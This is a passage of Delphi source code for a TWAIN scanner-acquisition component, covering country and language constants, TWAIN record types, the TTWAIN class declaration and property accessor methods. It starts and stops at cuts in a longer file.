  TWCY_PHILLIPPINES = 0063;
  TWCY_PITCAIRNIS = 1030;
  TWCY_PNEWGUINEA = 0675;
  TWCY_POLAND = 0048;
  TWCY_PORTUGAL = 0351;
  TWCY_QATAR = 0974;
  TWCY_REUNIONI = 1031;
  TWCY_ROMANIA = 0040;
  TWCY_RWANDA = 0250;
  TWCY_SAIPAN = 0670;
  TWCY_SANMARINO = 0039;
  TWCY_SAOTOME = 1033;
  TWCY_SAUDIARABIA = 0966;
  TWCY_SENEGAL = 0221;
  TWCY_SEYCHELLESIS = 1034;
  TWCY_SIERRALEONE = 1035;
  TWCY_SINGAPORE = 0065;
  TWCY_SOLOMONIS = 1036;
  TWCY_SOMALI = 1037;
  TWCY_SOUTHAFRICA = 0027;
  TWCY_SPAIN = 0034;
  TWCY_SRILANKA = 0094;
  TWCY_STHELENA = 1032;
  TWCY_STKITTS = 8013;
  TWCY_STLUCIA = 8014;
  TWCY_STPIERRE = 0508;
  TWCY_STVINCENT = 8015;
  TWCY_SUDAN = 1038;
  TWCY_SURINAME = 0597;
  TWCY_SWAZILAND = 0268;
  TWCY_SWEDEN = 0046;
  TWCY_SWITZERLAND = 0041;
  TWCY_SYRIA = 1039;
  TWCY_TAIWAN = 0886;
  TWCY_TANZANIA = 0255;
  TWCY_THAILAND = 0066;
  TWCY_TOBAGO = 8016;
  TWCY_TOGO = 0228;
  TWCY_TONGAIS = 0676;
  TWCY_TRINIDAD = 8016;
  TWCY_TUNISIA = 0216;
  TWCY_TURKEY = 0090;
  TWCY_TURKSCAICOS = 8017;
  TWCY_TUVALU = 1040;
  TWCY_UGANDA = 0256;
  TWCY_USSR = 0007;
  TWCY_UAEMIRATES = 0971;
  TWCY_UNITEDKINGDOM = 0044;
  TWCY_USA = 0001;
  TWCY_URUGUAY = 0598;
  TWCY_VANUATU = 1041;
  TWCY_VATICANCITY = 0039;
  TWCY_VENEZUELA = 0058;
  TWCY_WAKE = 1042;
  TWCY_WALLISIS = 1043;
  TWCY_WESTERNSAHARA = 1044;
  TWCY_WESTERNSAMOA = 1045;
  TWCY_YEMEN = 1046;
  TWCY_YUGOSLAVIA = 0038;
  TWCY_ZAIRE = 0243;
  TWCY_ZAMBIA = 0260;
  TWCY_ZIMBABWE = 0263;
  TWCY_ALBANIA = 0355;
  TWCY_ARMENIA = 0374;
  TWCY_AZERBAIJAN = 0994;
  TWCY_BELARUS = 0375;
  TWCY_BOSNIAHERZGO = 0387;
  TWCY_CAMBODIA = 0855;
  TWCY_CROATIA = 0385;
  TWCY_CZECHREPUBLIC = 0420;
  TWCY_DIEGOGARCIA = 0246;
  TWCY_ERITREA = 0291;
  TWCY_ESTONIA = 0372;
  TWCY_GEORGIA = 0995;
  TWCY_LATVIA = 0371;
  TWCY_LESOTHO = 0266;
  TWCY_LITHUANIA = 0370;
  TWCY_MACEDONIA = 0389;
  TWCY_MAYOTTEIS = 0269;
  TWCY_MOLDOVA = 0373;
  TWCY_MYANMAR = 0095;
  TWCY_NORTHKOREA = 0850;
  TWCY_PUERTORICO = 0787;
  TWCY_RUSSIA = 0007;
  TWCY_SERBIA = 0381;
  TWCY_SLOVAKIA = 0421;
  TWCY_SLOVENIA = 0386;
  TWCY_SOUTHKOREA = 0082;
  TWCY_UKRAINE = 0380;
  TWCY_USVIRGINIS = 0340;
  TWCY_VIETNAM = 0084;

const
  // Flags for languages
  TWLG_DAN = 000; // Danish
  TWLG_DUT = 001; // Dutch
  TWLG_ENG = 002; // English
  TWLG_FCF = 003; // French Canadian
  TWLG_FIN = 004; // Finnish
  TWLG_FRN = 005; // French
  TWLG_GER = 006; // German
  TWLG_ICE = 007; // Icelandic
  TWLG_ITN = 008; // Italian
  TWLG_NOR = 009; // Norwegian
  TWLG_POR = 010; // Portuguese
  TWLG_SPA = 011; // Spannish
  TWLG_SWE = 012; // Swedish
  TWLG_USA = 013;
  TWLG_AFRIKAANS = 014;
  TWLG_ALBANIA = 015;
  TWLG_ARABIC = 016;
  TWLG_ARABIC_ALGERIA = 017;
  TWLG_ARABIC_BAHRAIN = 018;
  TWLG_ARABIC_EGYPT = 019;
  TWLG_ARABIC_IRAQ = 020;
  TWLG_ARABIC_JORDAN = 021;
  TWLG_ARABIC_KUWAIT = 022;
  TWLG_ARABIC_LEBANON = 023;
  TWLG_ARABIC_LIBYA = 024;
  TWLG_ARABIC_MOROCCO = 025;
  TWLG_ARABIC_OMAN = 026;
  TWLG_ARABIC_QATAR = 027;
  TWLG_ARABIC_SAUDIARABIA = 028;
  TWLG_ARABIC_SYRIA = 029;
  TWLG_ARABIC_TUNISIA = 030;
  TWLG_ARABIC_UAE = 031; // United Arabic Emirates
  TWLG_ARABIC_YEMEN = 032;
  TWLG_BASQUE = 033;
  TWLG_BYELORUSSIAN = 034;
  TWLG_BULGARIAN = 035;
  TWLG_CATALAN = 036;
  TWLG_CHINESE = 037;
  TWLG_CHINESE_HONGKONG = 038;
  TWLG_CHINESE_PRC = 039; // People's Republic of China
  TWLG_CHINESE_SINGAPORE = 040;
  TWLG_CHINESE_SIMPLIFIED = 041;
  TWLG_CHINESE_TAIWAN = 042;
  TWLG_CHINESE_TRADITIONAL = 043;
  TWLG_CROATIA = 044;
  TWLG_CZECH = 045;
  TWLG_DANISH = TWLG_DAN;
  TWLG_DUTCH = TWLG_DUT;
  TWLG_DUTCH_BELGIAN = 046;
  TWLG_ENGLISH = TWLG_ENG;
  TWLG_ENGLISH_AUSTRALIAN = 047;
  TWLG_ENGLISH_CANADIAN = 048;
  TWLG_ENGLISH_IRELAND = 049;
  TWLG_ENGLISH_NEWZEALAND = 050;
  TWLG_ENGLISH_SOUTHAFRICA = 051;
  TWLG_ENGLISH_UK = 052;
  TWLG_ENGLISH_USA = TWLG_USA;
  TWLG_ESTONIAN = 053;
  TWLG_FAEROESE = 054;
  TWLG_FARSI = 055;
  TWLG_FINNISH = TWLG_FIN;
  TWLG_FRENCH = TWLG_FRN;
  TWLG_FRENCH_BELGIAN = 056;
  TWLG_FRENCH_CANADIAN = TWLG_FCF;
  TWLG_FRENCH_LUXEMBOURG = 057;
  TWLG_FRENCH_SWISS = 058;
  TWLG_GERMAN = TWLG_GER;
  TWLG_GERMAN_AUSTRIAN = 059;
  TWLG_GERMAN_LUXEMBOURG = 060;
  TWLG_GERMAN_LIECHTENSTEIN = 061;
  TWLG_GERMAN_SWISS = 062;
  TWLG_GREEK = 063;
  TWLG_HEBREW = 064;
  TWLG_HUNGARIAN = 065;
  TWLG_ICELANDIC = TWLG_ICE;
  TWLG_INDONESIAN = 066;
  TWLG_ITALIAN = TWLG_ITN;
  TWLG_ITALIAN_SWISS = 067;
  TWLG_JAPANESE = 068;
  TWLG_KOREAN = 069;
  TWLG_KOREAN_JOHAB = 070;
  TWLG_LATVIAN = 071;
  TWLG_LITHUANIAN = 072;
  TWLG_NORWEGIAN = TWLG_NOR;
  TWLG_NORWEGIAN_BOKMAL = 073;
  TWLG_NORWEGIAN_NYNORSK = 074;
  TWLG_POLISH = 075;
  TWLG_PORTUGUESE = TWLG_POR;
  TWLG_PORTUGUESE_BRAZIL = 076;
  TWLG_ROMANIAN = 077;
  TWLG_RUSSIAN = 078;
  TWLG_SERBIAN_LATIN = 079;
  TWLG_SLOVAK = 080;
  TWLG_SLOVENIAN = 081;
  TWLG_SPANISH = TWLG_SPA;
  TWLG_SPANISH_MEXICAN = 082;
  TWLG_SPANISH_MODERN = 083;
  TWLG_SWEDISH = TWLG_SWE;
  TWLG_THAI = 084;
  TWLG_TURKISH = 085;
  TWLG_UKRANIAN = 086;
  TWLG_ASSAMESE = 087;
  TWLG_BENGALI = 088;
  TWLG_BIHARI = 089;
  TWLG_BODO = 090;
  TWLG_DOGRI = 091;
  TWLG_GUJARATI = 092;
  TWLG_HARYANVI = 093;
  TWLG_HINDI = 094;
  TWLG_KANNADA = 095;
  TWLG_KASHMIRI = 096;
  TWLG_MALAYALAM = 097;
  TWLG_MARATHI = 098;
  TWLG_MARWARI = 099;
  TWLG_MEGHALAYAN = 100;
  TWLG_MIZO = 101;
  TWLG_NAGA = 102;
  TWLG_ORISSI = 103;
  TWLG_PUNJABI = 104;
  TWLG_PUSHTU = 105;
  TWLG_SERBIAN_CYRILLIC = 106;
  TWLG_SIKKIMI = 107;
  TWLG_SWEDISH_FINLAND = 108;
  TWLG_TAMIL = 109;
  TWLG_TELUGU = 110;
  TWLG_TRIPURI = 111;
  TWLG_URDU = 112;
  TWLG_VIETNAMESE = 113;

const
  TWRC_SUCCESS = 0;
  TWRC_FAILURE = 1; // Application may get TW_STATUS for
  // info on failure
  TWRC_CHECKSTATUS = 2; // tried hard to get the status
  TWRC_CANCEL = 3;
  TWRC_DSEVENT = 4;
  TWRC_NOTDSEVENT = 5;
  TWRC_XFERDONE = 6;
  TWRC_ENDOFLIST = 7; // After MSG_GETNEXT if nothing left
  TWRC_INFONOTSUPPORTED = 8;
  TWRC_DATANOTAVAILABLE = 9;

const
  TWON_ONEVALUE = $05; // indicates TW_ONEVALUE container
  TWON_DONTCARE8 = $FF;

const
  ICAP_XFERMECH = $0103;

const
  TWTY_UINT16 = $0004; // Means: item is a TW_UINT16

const
  // ICAP_XFERMECH values (SX_ means Setup XFer)
  TWSX_NATIVE = 0;
  TWSX_FILE = 1;
  TWSX_MEMORY = 2;
  TWSX_FILE2 = 3;

type
  TW_UINT16 = WORD; // unsigned short TW_UINT16
  pTW_UINT16 = ^TW_UINT16;
  TTWUInt16 = TW_UINT16;
  PTWUInt16 = pTW_UINT16;

type
  TW_BOOL = WORDBOOL; // unsigned short TW_BOOL
  pTW_BOOL = ^TW_BOOL;
  TTWBool = TW_BOOL;
  PTWBool = pTW_BOOL;

type
  TW_STR32 = array[0..33] of Char; // char TW_STR32[34]
  pTW_STR32 = ^TW_STR32;
  TTWStr32 = TW_STR32;
  PTWStr32 = pTW_STR32;

type
  TW_STR255 = array[0..255] of Char; // char TW_STR255[256]
  pTW_STR255 = ^TW_STR255;
  TTWStr255 = TW_STR255;
  PTWStr255 = pTW_STR255;

type
  TW_INT16 = SmallInt; // short TW_INT16
  pTW_INT16 = ^TW_INT16;
  TTWInt16 = TW_INT16;
  PTWInt16 = pTW_INT16;

type
  TW_UINT32 = ULONG; // unsigned long TW_UINT32
  pTW_UINT32 = ^TW_UINT32;
  TTWUInt32 = TW_UINT32;
  PTWUInt32 = pTW_UINT32;

type
  TW_HANDLE = THandle;
  TTWHandle = TW_HANDLE;
  TW_MEMREF = Pointer;
  TTWMemRef = TW_MEMREF;

type
  // DAT_PENDINGXFERS. Used with MSG_ENDXFER to indicate additional
  // data
  TW_PENDINGXFERS = packed record
    Count: TW_UINT16;
    case Boolean of
      False: (EOJ: TW_UINT32);
      True: (Reserved: TW_UINT32);
  end;
  pTW_PENDINGXFERS = ^TW_PENDINGXFERS;
  TTWPendingXFERS = TW_PENDINGXFERS;
  PTWPendingXFERS = pTW_PENDINGXFERS;

type
  // DAT_EVENT. For passing events down from the application to the DS
  TW_EVENT = packed record
    pEvent: TW_MEMREF; // Windows pMSG or Mac pEvent.
    TWMessage: TW_UINT16; // TW msg from data source, e.g.
    // MSG_XFERREADY
  end;
  pTW_EVENT = ^TW_EVENT;
  TTWEvent = TW_EVENT;
  PTWEvent = pTW_EVENT;

type
  // TWON_ONEVALUE. Container for one value
  TW_ONEVALUE = packed record
    ItemType: TW_UINT16;
    Item: TW_UINT32;
  end;
  pTW_ONEVALUE = ^TW_ONEVALUE;
  TTWOneValue = TW_ONEVALUE;
  PTWOneValue = pTW_ONEVALUE;

type
  // DAT_CAPABILITY. Used by application to get/set capability from/in
  // a data source.
  TW_CAPABILITY = packed record
    Cap: TW_UINT16; // id of capability to set or get, e.g.
    // CAP_BRIGHTNESS
    ConType: TW_UINT16; // TWON_ONEVALUE, _RANGE, _ENUMERATION or
    // _ARRAY
    hContainer: TW_HANDLE; // Handle to container of type Dat
  end;
  pTW_CAPABILITY = ^TW_CAPABILITY;
  TTWCapability = TW_CAPABILITY;
  PTWCapability = pTW_CAPABILITY;

type
  // DAT_STATUS. Application gets detailed status info from a data
  // source with this
  TW_STATUS = packed record
    ConditionCode: TW_UINT16; // Any TWCC_xxx constant
    Reserved: TW_UINT16; // Future expansion space
  end;
  pTW_STATUS = ^TW_STATUS;
  TTWStatus = TW_STATUS;
  PTWStatus = pTW_STATUS;

type
  // No DAT needed. Used to manage memory buffers
  TW_MEMORY = packed record
    Flags: TW_UINT32; // Any combination of the TWMF_ constants
    Length: TW_UINT32; // Number of bytes stored in buffer TheMem
    TheMem: TW_MEMREF; // Pointer or handle to the allocated memory
    // buffer
  end;
  pTW_MEMORY = ^TW_MEMORY;
  TTWMemory = TW_MEMORY;
  PTWMemory = pTW_MEMORY;

const
  // ICAP_IMAGEFILEFORMAT values (FF_means File Format
  TWFF_TIFF = 0; // Tagged Image File Format
  TWFF_PICT = 1; // Macintosh PICT
  TWFF_BMP = 2; // Windows Bitmap
  TWFF_XBM = 3; // X-Windows Bitmap
  TWFF_JFIF = 4; // JPEG File Interchange Format
  TWFF_FPX = 5; // Flash Pix
  TWFF_TIFFMULTI = 6; // Multi-page tiff file
  TWFF_PNG = 7; // Portable Network Graphic
  TWFF_SPIFF = 8;
  TWFF_EXIF = 9;

type
  // DAT_SETUPFILEXFER. Sets up DS to application data transfer via a
  // file
  TW_SETUPFILEXFER = packed record
    FileName: TW_STR255;
    Format: TW_UINT16; // Any TWFF_xxx constant
    VRefNum: TW_INT16; // Used for Mac only
  end;
  pTW_SETUPFILEXFER = ^TW_SETUPFILEXFER;
  TTWSetupFileXFER = TW_SETUPFILEXFER;
  PTWSetupFileXFER = pTW_SETUPFILEXFER;

type
  // DAT_SETUPFILEXFER2. Sets up DS to application data transfer via a
  // file. }
  TW_SETUPFILEXFER2 = packed record
    FileName: TW_MEMREF; // Pointer to file name text
    FileNameType: TW_UINT16; // TWTY_STR1024 or TWTY_UNI512
    Format: TW_UINT16; // Any TWFF_xxx constant
    VRefNum: TW_INT16; // Used for Mac only
    parID: TW_UINT32; // Used for Mac only
  end;
  pTW_SETUPFILEXFER2 = ^TW_SETUPFILEXFER2;
  TTWSetupFileXFER2 = TW_SETUPFILEXFER2;
  PTWSetupFileXFER2 = pTW_SETUPFILEXFER2;

type
  // DAT_SETUPMEMXFER. Sets up Data Source to application data
  // transfer via a memory buffer
  TW_SETUPMEMXFER = packed record
    MinBufSize: TW_UINT32;
    MaxBufSize: TW_UINT32;
    Preferred: TW_UINT32;
  end;
  pTW_SETUPMEMXFER = ^TW_SETUPMEMXFER;
  TTWSetupMemXFER = TW_SETUPMEMXFER;
  PTWSetupMemXFER = pTW_SETUPMEMXFER;

type
  TW_VERSION = packed record
    MajorNum: TW_UINT16; // Major revision number of the software.
    MinorNum: TW_UINT16; // Incremental revision number of the
    // software
    Language: TW_UINT16; // e.g. TWLG_SWISSFRENCH
    Country: TW_UINT16; // e.g. TWCY_SWITZERLAND
    Info: TW_STR32; // e.g. "1.0b3 Beta release"
  end;
  pTW_VERSION = ^TW_VERSION;
  PTWVersion = pTW_VERSION;
  TTWVersion = TW_VERSION;

type
  TW_IDENTITY = packed record
    Id: TW_UINT32; // Unique number. In Windows,
    // application hWnd
    Version: TW_VERSION; // Identifies the piece of code
    ProtocolMajor: TW_UINT16; // Application and DS must set to
    // TWON_PROTOCOLMAJOR
    ProtocolMinor: TW_UINT16; // Application and DS must set to
    // TWON_PROTOCOLMINOR
    SupportedGroups: TW_UINT32; // Bit field OR combination of DG_
    // constants
    Manufacturer: TW_STR32; // Manufacturer name, e.g.
    // "Hewlett-Packard"
    ProductFamily: TW_STR32; // Product family name, e.g.
    // "ScanJet"
    ProductName: TW_STR32; // Product name, e.g. "ScanJet Plus"
  end;
  pTW_IDENTITY = ^TW_IDENTITY;

type
  // DAT_USERINTERFACE. Coordinates UI between application and data
  // source
  TW_USERINTERFACE = packed record
    ShowUI: TW_BOOL; // TRUE if DS should bring up its UI
    ModalUI: TW_BOOL; // For Mac only - true if the DS's UI is modal
    hParent: TW_HANDLE; // For Windows only - Application handle
  end;
  pTW_USERINTERFACE = ^TW_USERINTERFACE;
  TTWUserInterface = TW_USERINTERFACE;
  PTWUserInterface = pTW_USERINTERFACE;

  ////////////////////////////////////////////////////////////////////////
  //                                                                    //
  //                END OF TWAIN TYPES AND CONSTANTS                    //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////

const
  TWAIN_DLL_Name = 'TWAIN_32.DLL';
  DSM_Entry_Name = 'DSM_Entry';
  Ini_File_Name = 'WIN.INI';
  CrLf = #13 + #10;

resourcestring // Errorstrings:
  ERR_DSM_ENTRY_NOT_FOUND = 'Unable to find the entry of the Data ' +
    'Source Manager in: TWAIN_32.DLL';
  ERR_TWAIN_NOT_LOADED = 'Unable to load or find: TWAIN_32.DLL';
  ERR_DSM_CALL_FAILED = 'A call to the Data Source Manager failed ' +
    'in module %s';
  ERR_UNKNOWN = 'A call to the Data Source Manager failed ' +
    'in module %s: Code %.04x';
  ERR_DSM_OPEN = 'Unable to close the Data Source Manager. ' +
    'Maybe a source is still in use';
  ERR_STATUS = 'Unable to get the status';
  ERR_DSM = 'Data Source Manager error in module %s:' +
    CrLf + '%s';
  ERR_DS = 'Data Source error in module %s:' +
    CrLf + '%s';

type
  ETwainError = class(Exception);
  TImageType = (ffTIFF, ffPICT, ffBMP, ffXBM, ffJFIF, ffFPX,
    ffTIFFMULTI, ffPNG, ffSPIFF, ffEXIF, ffUNKNOWN);
  TTransferType = (xfNative, xfMemory, xfFile);
  TLanguageType = (lgDutch, lgEnglish,
    lgFrench, lgGerman,
    lgAmerican, lgItalian,
    lgSpanish, lgNorwegian,
    lgFinnish, lgDanish,
    lgRussian, lgPortuguese,
    lgSwedish, lgPolish,
    lgGreek, lgTurkish);
  TCountryType = (ctNetherlands, ctEngland,
    ctFrance, ctGermany,
    ctUSA, ctSpain,
    ctItaly, ctDenmark,
    ctFinland, ctNorway,
    ctRussia, ctPortugal,
    ctSweden, ctPoland,
    ctGreece, ctTurkey);
  TTWAIN = class(TComponent)
  private
    // Private declarations
    fBitmap: TBitmap; // the actual bmp used for
    // scanning, must be
    // removed
    HDSMDLL: HMODULE; // = 0, the library handle:
    // will stay global
    appId: TW_IDENTITY; // our (Application) ID.
    // (may stay global)
    dsId: TW_IDENTITY; // Data Source ID (will
    // become member of DS
    // class)
    fhWnd: HWND; // = 0, maybe will be
    // removed, use
    // application.handle
    // instead
    fXfer: TTransferType; // = xfNative;
    bDataSourceManagerOpen: Boolean; // = False, flag, may stay
    // global
    bDataSourceOpen: Boolean; // = False, will become
    // member of DS class
    bDataSourceEnabled: Boolean; // = False, will become
    // member of DS class
    fScanReady: TNotifyEvent; // notifies that the scan
    // is ready
    sDefaultSource: string; // remember old data source
    fOldOnMessageHandler: TMessageEvent; // Save old OnMessage event
    fShowUI: Boolean; // Show User Interface
    fSetupFileXfer: TW_SETUPFILEXFER; // Not used yet
    fSetupMemoryXfer: TW_SETUPMEMXFER; // Not used yet
    fMemory: TW_MEMORY; // Not used yet

    function fLoadTwain: Boolean;
    procedure fUnloadTwain;
    function fNativeXfer: Boolean;
    function fMemoryXfer: Boolean; // Not used yet
    function fFileXfer: Boolean; // Not used yet
    function fGetDestination: TTransferType;
    procedure fSetDestination(dest: TTransferType);
    function Condition2String(ConditionCode: TW_UINT16): string;
    procedure RaiseLastDataSourceManagerCondition(module: string);
    procedure RaiseLastDataSourceCondition(module: string);
    procedure TwainCheckDataSourceManager(res: TW_UINT16;
      module: string);
    procedure TwainCheckDataSource(res: TW_UINT16;
      module: string);

    function CallDataSourceManager(pOrigin: pTW_IDENTITY;
      DG: TW_UINT32;
      DAT: TW_UINT16;
      MSG: TW_UINT16;
      pData: TW_MEMREF): TW_UINT16;

    function CallDataSource(DG: TW_UINT32;
      DAT: TW_UINT16;
      MSG: TW_UINT16;
      pData: TW_MEMREF): TW_UINT16;

    procedure XferMech;
    procedure fSetProductname(pn: string);
    function fGetProductname: string;
    procedure fSetManufacturer(mf: string);
    function fGetManufacturer: string;
    procedure fSetProductFamily(pf: string);
    function fGetProductFamily: string;
    procedure fSetLanguage(lg: TLanguageType);
    function fGetLanguage: TLanguageType;
    procedure fSetCountry(ct: TCountryType);
    function fGetCountry: TCountryType;
    procedure SaveDefaultSourceEntry;
    procedure RestoreDefaultSourceEntry;
    procedure fSetCursor(cr: TCursor);
    function fGetCursor: TCursor;
    procedure fSetImageType(it: TImageType);
    function fGetImageType: TImageType;
    procedure fSetFilename(fn: string);
    function fGetFilename: string;
    procedure fSetVersionInfo(vi: string);
    function fGetVersionInfo: string;
    procedure fSetVersionMajor(vmaj: WORD);
    procedure fSetVersionMinor(vmin: WORD);
    function fGetVersionMajor: WORD;
    function fGetVersionMinor: WORD;

  protected
    procedure ScanReady; dynamic; // Notifies when image transfer is
    // ready
    procedure fNewOnMessageHandler(var Msg: TMsg;
      var Handled: Boolean); virtual;

  public
    // Public declarations
    constructor Create(AOwner: TComponent); override;
    destructor Destroy; override;
    procedure Acquire(aBmp: TBitmap);
    procedure OpenDataSource;
    procedure CloseDataSource;
    procedure InitTWAIN;
    procedure OpenDataSourceManager;
    procedure CloseDataSourceManager;
    function IsDataSourceManagerOpen: Boolean;
    procedure EnableDataSource;
    // Procedure TWEnableDSUIOnly(ShowUI : Boolean);
    procedure DisableDataSource;
    function IsDataSourceOpen: Boolean;
    function IsDataSourceEnabled: Boolean;
    procedure SelectDataSource;
    function IsTwainDriverAvailable: Boolean;
    function ProcessSourceMessage(var Msg: TMsg): Boolean;

  published
    // Published declarations
    // Properties, methods
    property Destination: TTransferType
      read fGetDestination write fSetDestination;
    property TwainDriverFound: Boolean
      read IsTwainDriverAvailable;
    property Productname: string
      read fGetProductname write fSetProductname;
    property Manufacturer: string
      read fGetManufacturer write fSetManufacturer;
    property ProductFamily: string
      read fGetProductFamily write fSetProductFamily;
    property Language: TLanguageType
      read fGetLanguage write fSetLanguage;
    property Country: TCountryType
      read fGetCountry write fSetCountry;
    property ShowUI: Boolean
      read fShowUI write fShowUI;
    property Cursor: TCursor
      read fGetCursor write fSetCursor;
    property FileFormat: TImageType
      read fGetImageType write fSetImageType;
    property Filename: string
      read fGetFilename write fSetFilename;
    property VersionInfo: string
      read fGetVersionInfo write fSetVersionInfo;
    property VersionMajor: WORD
      read fGetVersionMajor write fSetVersionMajor;
    property VersionMinor: WORD
      read fGetVersionMinor write fSetVersionMinor;
    // Events
    property OnScanReady: TNotifyEvent
      read fScanReady write fScanReady;
  end;

procedure Register;

type
  DSMENTRYPROC = function(pOrigin: pTW_IDENTITY;
    pDest: pTW_IDENTITY;
    DG: TW_UINT32;
    DAT: TW_UINT16;
    MSG: TW_UINT16;
    pData: TW_MEMREF): TW_UINT16; stdcall;
  TDSMEntryProc = DSMENTRYPROC;

type
  DSENTRYPROC = function(pOrigin: pTW_IDENTITY;
    DG: TW_UINT32;
    DAT: TW_UINT16;
    MSG: TW_UINT16;
    pData: TW_MEMREF): TW_UINT16; stdcall;
  TDSEntryProc = DSENTRYPROC;

var
  DS_Entry: TDSEntryProc = nil; // Initialize
  DSM_Entry: TDSMEntryProc = nil; // Initialize

implementation

//---------------------------------------------------------------------

constructor TTWAIN.Create(AOwner: TComponent);

begin
  inherited Create(AOwner);
  // Initialize variables
  appID.Version.Info := 'Twain component';
  appID.Version.Country := TWCY_USA;
  appID.Version.Language := TWLG_USA;
  appID.Productname := 'SimpelSoft TWAIN module'; // This is the one that you are
  // going to see in the UI
  appID.ManuFacturer := 'SimpelSoft';
  appID.ProductFamily := 'SimpelSoft components';
  appID.Version.MajorNum := 1;
  appID.Version.MinorNum := 0;
  // appID.ID := Application.Handle;

  fSetFilename('C:\TWAIN.BMP');
  // fSetupFileXfer.FileName := 'C:\TWAIN.TMP':
  fSetImageType(ffBMP);
  // fSetupFileXfer.Format := TWFF_BMP;
  // fSetupFileXfer.VRefNum := xx; // For Mac
  // fSetupMemoryXfer.MinBufSize := xx;
  // fSetupMemoryXfer.MaxBufSize := yy;
  // fSetupMemoryXfer.Preferred := zz;
  fMemory.Flags := TWFF_BMP;
  // fMemory.Length := SizeOf(Mem);
  // fMemory.TheMem := @Mem;

  // fhWnd := Application.Handle;
  fShowUI := True;

  HDSMDLL := 0;
  sDefaultSource := '';
  fXfer := xfNative;
  bDataSourceManagerOpen := False;
  bDataSourceOpen := False;
  bDataSourceEnabled := False;
end;
//---------------------------------------------------------------------

destructor TTWAIN.Destroy;

begin
  if bDataSourceEnabled then
    DisableDataSource;
  if bDataSourceOpen then
    CloseDataSource;
  if bDataSourceManagerOpen then
    CloseDataSourceManager;
  fUnLoadTwain; // Loose the TWAIN_32.DLL
  if sDefaultSource <> '' then
    RestoreDefaultSourceEntry; // Write old entry back in WIN.INI
  Application.OnMessage := fOldOnMessageHandler; // Restore old OnMessage
  // handler
  inherited Destroy;
end;
//---------------------------------------------------------------------

function TTWAIN.fGetVersionMajor: WORD;

begin
  Result := appID.Version.MajorNum;
end;
//---------------------------------------------------------------------

function TTWAIN.fGetVersionMinor: WORD;

begin
  Result := appID.Version.MinorNum;
end;
//---------------------------------------------------------------------

procedure TTWAIN.fSetVersionMajor(vmaj: WORD);

begin
  appID.Version.MajorNum := vmaj;
end;
//---------------------------------------------------------------------

procedure TTWAIN.fSetVersionMinor(vmin: WORD);

begin
  appID.Version.MinorNum := vmin;
end;
//---------------------------------------------------------------------

procedure TTWAIN.fSetVersionInfo(vi: string);

var
  I, L: Integer;

begin
  FillChar(appID.Version.Info, SizeOf(appID.Version.Info), #0);
  L := Length(vi);
  if L = 0 then
    Exit;
  if L > 32 then
    L := 32;
  for I := 1 to L do
    appID.Version.Info[I - 1] := vi[I];
end;
//---------------------------------------------------------------------

function TTWAIN.fGetVersionInfo: string;

var
  I: Integer;

begin
  Result := '';
  I := 0;
  if appID.Version.Info[I] <> #0 then
    repeat
      Result := Result + appID.Version.Info[I];
      Inc(I);
    until appID.Version.Info[I] = #0;
end;
//---------------------------------------------------------------------

procedure TTWAIN.fSetImageType(it: TImageType);

begin
  fSetupFileXfer.Format := TWFF_BMP; // Initialize
  fMemory.Flags := TWFF_BMP; // Initialize

  case it of
    ffTIFF:
      begin
        fSetupFileXfer.Format := TWFF_TIFF;
        fMemory.Flags := TWFF_TIFF;
      end;
    ffPICT:
      begin
        fSetupFileXfer.Format := TWFF_PICT;
        fMemory.Flags := TWFF_PICT;
      end;
    ffBMP:
      begin
        fSetupFileXfer.Format := TWFF_BMP;
        fMemory.Flags := TWFF_BMP;
      end;
    ffXBM:
      begin
        fSetupFileXfer.Format := TWFF_XBM;
        fMemory.Flags := TWFF_XBM;
      end;
    ffJFIF:
      begin
        fSetupFileXfer.Format := TWFF_JFIF;
        fMemory.Flags := TWFF_JFIF;
      end;
    ffFPX:
      begin
        fSetupFileXfer.Format := TWFF_FPX;
        fMemory.Flags := TWFF_FPX;
      end;
    ffTIFFMULTI:
      begin
        fSetupFileXfer.Format := TWFF_TIFFMULTI;
        fMemory.Flags := TWFF_TIFFMULTI;
      end;
    ffPNG:
      begin
        fSetupFileXfer.Format := TWFF_PNG;
        fMemory.Flags := TWFF_PNG;
      end;
    ffSPIFF:
      begin
        fSetupFileXfer.Format := TWFF_SPIFF;
        fMemory.Flags := TWFF_SPIFF;
      end;
    ffEXIF:
      begin
        fSetupFileXfer.Format := TWFF_EXIF;
        fMemory.Flags := TWFF_EXIF;
      end;
  end;
end;
//---------------------------------------------------------------------

procedure TTWAIN.fSetFilename(fn: string);

var
  L, I: Integer;

begin
  FillChar(fSetupFileXfer.FileName, SizeOf(fSetupFileXfer.Filename), #0);
  L := Length(fn);
  if L > 0 then
    for I := 1 to L do
      fSetupFileXfer.Filename[I - 1] := fn[I];
end;
//---------------------------------------------------------------------

function TTWAIN.fGetFilename: string;

var
  I: Integer;

begin
  Result := '';
  I := 0;
  if fSetupFileXfer.Filename[I] <> #0 then
    repeat
      Result := Result + fSetupFileXfer.Filename[I];
      Inc(I);
    until fSetupFileXfer.Filename[I] = #0;
end;
//---------------------------------------------------------------------

function TTWAIN.fGetImageType: TImageType;

begin
  Result := ffUNKNOWN; // Initialize
  case fSetupFileXfer.Format of
    TWFF_TIFF: Result := ffTIFF;
    TWFF_PICT: Result := ffPICT;
    TWFF_BMP: Result := ffBMP;
    TWFF_XBM: Result := ffXBM;
    TWFF_JFIF: Result := ffJFIF;
    TWFF_FPX: Result := ffFPX;
    TWFF_TIFFMULTI: Result := ffTIFFMULTI;
    TWFF_PNG: Result := ffPNG;
    TWFF_SPIFF: Result := ffSPIFF;
    TWFF_EXIF: Result := ffEXIF;
  end;
end;
//---------------------------------------------------------------------

procedure TTWAIN.fSetCursor(cr: TCursor);

begin
  Screen.Cursor := cr;
end;
//---------------------------------------------------------------------

function TTWAIN.fGetCursor: TCursor;

begin
  Result := Screen.Cursor;
end;
//---------------------------------------------------------------------

procedure TTWAIN.fSetCountry(ct: TCountryType);

begin
  case ct of
    ctDenmark: appID.Version.Country := TWCY_DENMARK;
    ctNetherlands: appID.Version.Country := TWCY_NETHERLANDS;
    ctEngland: appID.Version.Country := TWCY_BRITAIN;
    ctFinland: appID.Version.Country := TWCY_FINLAND;
    ctFrance: appID.Version.Country := TWCY_FRANCE;
    ctGermany: appID.Version.Country := TWCY_GERMANY;
    ctItaly: appID.Version.Country := TWCY_ITALY;
    ctNorWay: appID.Version.Country := TWCY_NORWAY;
    ctSpain: appID.Version.Country := TWCY_SPAIN;
    ctUSA: appID.Version.Country := TWCY_USA;
    ctRussia: appID.Version.Country := TWCY_RUSSIA;
    ctPortugal: appID.Version.Country := TWCY_PORTUGAL;
